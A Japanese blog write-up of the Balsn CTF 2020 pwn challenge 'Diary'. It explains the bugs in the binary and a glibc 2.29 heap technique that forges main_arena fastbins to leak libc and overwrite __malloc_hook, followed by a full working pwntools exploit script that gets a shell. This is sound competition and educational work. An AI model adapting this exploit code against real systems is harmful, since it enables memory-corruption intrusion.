newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 39.0】Diary - Balsn CTF 2020

keywords

non-NULL terminated leak / unlimited linear overflow / forge main_arena / libc2.29

 

 

1: イントロ

生存確認。

ちゃんと時間を取って取り組んだわけではないけれど、いつぞや開催された BalsnCTFpwn 問題 Diary

最近heap問題見るとすごく面倒くさい気持ちになってきました。

今回から、目次の前にkeywordsを置いてみました。結局pwn(特にheap)の場合には与えられたvulnsからできることを組み立てていくことが殆どなので、CTF中にvulnから使える解法を逆引きできたほうが自分的に便利ということで置いています。続ける保証はないです。

 

 

2: 静的解析

./diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d5963091eba5e6879841c661d474196be39e5c, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
FROM ubuntu:disco-20200114 (libc 2.29)

 

プログラムは典型的なメモ帳の追加・編集・出力・消去を行う。但し、消去は各メモ帳に付き1回しかできず、編集は実行中に1回しかできない

追加するメモ帳のサイズは0x80以下であり、書き込み時には read() で読むためNULLを気にせず書き込める。だが、出力は printf("%s") で行うためNULLで出力が切れてしまう。

 

 

3: Vulns

脆弱性は3つ。

1つ目。最初に name を入力するのが、そのバッファがNULL終端されず、且つヒープへのポインタが隣接しているため容易に heapbase がリークできる。

2つ目。ただ1回できる edit において、メモ帳のインデックスとして負数を入力できる。ここでメモ帳は .bss section に確保されており、その上部には stdin が入っている。よって、負数の edit を用いることで stdin を書き換えることができる。この際、プログラムの仕様により入力可能バイト数は stdin->flags (0xFBAD208B) であり、実質無制限に書き換えることができる。

3つ目。これは攻撃に使うことはできない(寧ろ邪魔になる)が、確保していないメモ帳に対して消去(free)することができる。

 

4: 方針

今回で一番強い制限は edit が1回しかできないということ。また、vulnよりできることは stdin/stdout の書き換え。

この2点より、典型的な _IO_FILE_plus forge の方針を考えてしまいそうになる。例えば stdin のバッファアドレスを heap に書き換えることで heap を自在に操作できるようにして unsorted を生成するということが考えられる。だがこの場合、生成した libcbase を出力するための方法がなかなか思いつかない。逆に stdout を書き換えたとすると libcbase のリークは簡単だろうが、任意の値をメモリ中に書き込むのが難しい。

そこで、stdout/stdin無制限に書き換えられるということに注目する。stdin の広報を見てみると、main_arena 及び malloc_hook が存在している。よって、stdin を書き換えるのではなく、stdinから始めて main_arena/malloc_hook を書き換えることを方針とする。

f:id:smallkirby:20201117074145p:plain

layout around stdin

 

4: forge fastbinsY of main_arena to leak libcbase 

 main_arena には mfastbinptr fastbinsY[10] という fastbin のrootを保持する配列が有る。

f:id:smallkirby:20201117074647p:plain

House of Corrosionとかで global_max_fast を書き換えて攻撃の起点とするアレだ。

今回はこれを直接書き換えて、heap中の任意のアドレスに持っていく。これの一つを、メモリ中の unsorted のすぐ上を指すように書き換える。これによって、生成された libcbase をリークすることができる。

ここで、unsorted は0x90サイズのメモ帳を7個作ってfreeすることで生成できる。尚、使用されているのは calloc() であるため、tcache から取られることはないし、何より確保領域がNULLクリアされるため、細かいところに気配りが必要になる。そこは大和魂でなんとかする。heap問題って、説明のしようがないのも嫌いです。こんなブログ、「heap feng shuiします」の一言で本来終わってしまうもんだからな。

 

 

5: forge linked-list of fastbins and consolidate them into tcache 

ここまでで heapbase/libcbase がリークできているため、次は malloc_hook を書き換えることを考える。

先程の main_arena の書き換えに於いて適当な位置を 0x70 サイズの fastbin が指すようにしておく。さらにそいつが指す先に有る fake chunk の fd を他のメモ帳を使って書き換えることで、fastbinのfdを自由な値にすることができる。これによって malloc_hook を指させることにする。

最大の障壁は、0x90サイズの fastbin が存在しないということである。最初に unsorted を生成するために tcache[0x90] には現在7つのchunkが繋がっている。fastbinは0x20~0x80であるからこそ、これで unsorted が生成されるわけである。だが、main_arena の forge による fastbin の書き換えでは 0x90 のchunkは作れないため、0x70等のサイズを使用する必要が有る。だが、それらのサイズを使うと今度は fastbin->fd を書き換える際に malloc consolidation が発生し、せっかく書き換えたfastbinが全てtcacheへぶっ飛んでいってしまう。

これを回避するために、予め互いにリンクした fake chunk(0x70) を用意しておく。そして main_arena の書き換えによって、root-> 大量のリンクリスト-> libcbaseをリークした後に生成したfake fastbin-> malloc_hook というリストを作り出す。これによって、consolidation が発生した際に用意した大量のchunksを tcache に持っていき、所望のfdをもつchunkはfastbinに格納させることができる。

この辺をどうやるか、それは勿論決まっている。

HEAP FENG SHUI です!!!!!!!! 

 

 

 

6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
from smallkirbypwn import *
import sys

FILENAME = "./diary"
LIBCNAME = "./libc-2.29.so"

hosts = ("diary.balsnctf.com","localhost","localhost")
ports = (10101,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None

class _IO_FILE(object):
  def __init__(self, 
      read_ptr=None, read_end=None, read_base=None,
      write_base=None, write_ptr=None, write_end=None,
      buf_base=None, buf_end=None,
      save_base=None, backup_base=None, save_end=None,
      lock=None, wide_data=None):
    self.read_ptr = read_ptr if read_ptr!=None else 0
    self.read_end = read_end if read_end!=None else 0
    self.read_base = read_base if read_base!=None else 0
    self.write_base = write_base if write_base!=None else 0
    self.write_ptr = write_ptr if write_ptr!=None else 0
    self.write_end = write_end if write_end!=None else 0
    self.buf_base = buf_base if buf_base!=None else 0
    self.buf_end = buf_end if buf_end!=None else 0
    self.save_base = save_base if save_base!=None else 0
    self.backup_base = self.backup_base if backup_base!=None else 0
    self.save_end = save_end if save_end!=None else 0
    self.flag = 0xfbad208b
    self.markers = 0
    self.chain = 0 # stdin addr if stdout
    self.fileno = 0 # 1 if stdout
    self.fileno2= 0
    self.old_offset = 0xffffffffffffffff
    self.lock = lock if lock!=None else 0
    self.offset = 0xffffffffffffffff
    self.code_cvt = 0
    self.wide_data = wide_data if wide_data!=None else 0
    self.freeres_list = 0
    self.freeres_buf = 0
    self.pad5 = 0
    self.mode = 0xffffffff
    return None

  def gen(self):
    pay = b""
    pay += p64(self.flag)
    pay += p64(self.read_ptr) + p64(self.read_end) + p64(self.read_base)
    pay += p64(self.write_base) + p64(self.write_ptr) + p64(self.write_end)
    pay += p64(self.buf_base) + p64(self.buf_end)
    pay += p64(self.save_base) + p64(self.backup_base) + p64(self.save_end)
    pay += p64(self.markers)
    pay += p64(self.chain)
    pay += p32(self.fileno) + p32(self.fileno2)
    pay += p64(self.old_offset)
    pay += p64(0x000000000a000000) # cur_column + vtable_offset + shortbuf
    pay += p64(self.lock)
    pay += p64(self.offset)
    pay += p64(self.freeres_list) + p64(self.freeres_buf) + p64(self.pad5)
    pay += p32(self.mode) + p32(0)
    return pay

class _IO_FILE_plus(_IO_FILE):
  def __init__(self,
      read_ptr=None, read_end=None, read_base=None,
      write_base=None, write_ptr=None, write_end=None,
      buf_base=None, buf_end=None,
      save_base=None, backup_base=None, save_end=None,
      lock=None, wide_data=None, vtable=None):
    super(_IO_FILE_plus, self).__init__(
      read_ptr, read_end, read_base,
      write_base, write_ptr, write_end,
      buf_base, buf_end,
      save_base, backup_base, save_end,
      lock, wide_data)
    self.vtable = vtable if vtable!=None else 0

  def gen(self):
    pay =  super(_IO_FILE_plus, self).gen()
    pay += p64(0) * 4
    pay += p64(self.vtable)
    return pay

class main_arena:
  def __init__(self):
    self.mutex = 0
    self.flags = 0
    self.have_fastbinchunks = 0
    self.fastbins = {}
    return None

  def set(self, size, addr):
    self.fastbins[hex(size)] = addr
    return self

  def gen_fastbinchunks(self):
    pay = b""
    for i in range(8):
      if hex(i*0x10+0x20) in self.fastbins:
        pay += p64(self.fastbins[hex(i*0x10+0x20)])
      else:
        pay += p64(0)
    return pay

  def gen(self):
    pay = b""
    pay += p32(self.mutex) + p32(self.flags)
    pay += p32(self.have_fastbinchunks)
    pay += p32(0) # hole
    pay += self.gen_fastbinchunks()
    return pay


## utilities #########################################

def hoge(ix):
  global c
  c.recvuntil("choice : ")
  c.sendline(str(ix))

def _show():
  global c
  hoge(1)

def _write(_size, _content, stop=False):
  global c
  hoge(2)
  c.recvuntil("Length : ")
  c.send(str(_size))
  if stop:
    return
  c.recvuntil("Content : ")
  c.send(_content)

def _read(page):
  global c
  hoge(3)
  c.recvuntil("Page : ")
  c.send(str(page))

def _edit(page, content):
  global c
  hoge(4)
  c.recvuntil("Page : ")
  c.sendline(str(page))
  c.recvuntil("Content : ")
  c.send(str(content))

def _tear(page):
  global c
  hoge(5)
  c.recvuntil("Page : ")
  c.send(str(page))

## exploit ###########################################

def exploit():
  global c
  ds = 0x80
  name = "A"*0x20

  # setup name
  c.recvuntil("name : ")
  c.send(name)

  # leak heapbase
  _write(ds, "B"*ds) # 0
  _show()
  c.recvuntil("A"*0x20)
  leak = unpack(c.recvline().rstrip().ljust(8,'\x00'))
  heapbase = leak - 0x260
  print("[+] leaked: "+hex(leak))
  print("[+] heapbase: "+hex(heapbase))

  # generate unsorted
  sz = 0x31
  for i in range(0x8): # 1..0x9
    if i==0: # to fulfill fastbin(0x80)
      _write(ds, p32(0) + p64(0) +  (p64(heapbase+0x300)+p64(0x81)) + (p64(heapbase+0x310)+p64(0x81))+(p64(heapbase+0x320)+p64(0x81)) + (p64(heapbase+0x330)+p64(0x81)) + (p64(heapbase+0x340)+p64(0x81)) + (p64(heapbase+0x350)+p64(0x81)) + (p64(heapbase+0x380)+p64(0x81)))
    elif i==1:
      _write(ds, p32(0) + p64(0x71) +  (p64(heapbase+0x610)+p64(0x81)))
    else:
      _write(ds, p32(0) + (p64(0x71)+p64(0))*((ds-4)//0x10 - 2) + (p64(sz)+p64(0))*2)
  for i in range(0x8):
    _tear(i) # generate unsorted at heapbase+0x640

  # forge main_arena
  mp = main_arena()
  mp.set(0x30, heapbase + 0x620).set(0x70, heapbase + 0x600).set(0x80, heapbase+0x300)
  pay = b""
  pay += _IO_FILE_plus(vtable=0).gen()[4:]
  pay += p8(0x40) * 0x130 # pad wide_data
  pay += p64(0x81)*2 # fake sz for overwriting malloc_hook
  pay += p64(0x00)*2 # fake fd for overwriting malloc_hook
  pay += p64(0) # malloc_hook
  pay += p64(0)
  pay += mp.gen()
  _edit(-6, pay)

  # leak libcbase
  _write(0x24, "A"*(0x24)) # 0xa@heapbase+0x660
  _read(0x9)
  c.recvuntil("A"*0x24)
  leak =  unpack(c.recvline().rstrip().ljust(8,'\x00'))
  libcbase = leak - 0x1e4ca0
  print("[+] leak: "+hex(leak))
  print("[+] libcbase: "+hex(libcbase))

  # overwrite fastbin's fd
  ogs = [addr + libcbase for addr in [0xe237f, 0xe2383, 0xe2386, 0x106ef8]]
  _write(0x60, p32(0) + p64(0x81) + p64(libcbase + 0x1e4c10)) # @heapbase+0x610 consolidate into tcache
  _write(0x70, "A"*0x10) # connect malloc_hook into unsorted(0x80)
  _write(0x70, "A"*0xc + p64(ogs[3])) # overwrite malloc_hook

  # boomb
  _write(0x60, "X", stop=True)


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

7: アウトロ

f:id:smallkirby:20201117080442p:plain

flag flag flag...

 

まじで、Verilogめっちゃ苦手です

ハードウェアの気持ちを考えて書くことができない

 

 

 

 

 

続く...

 


 

 


 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.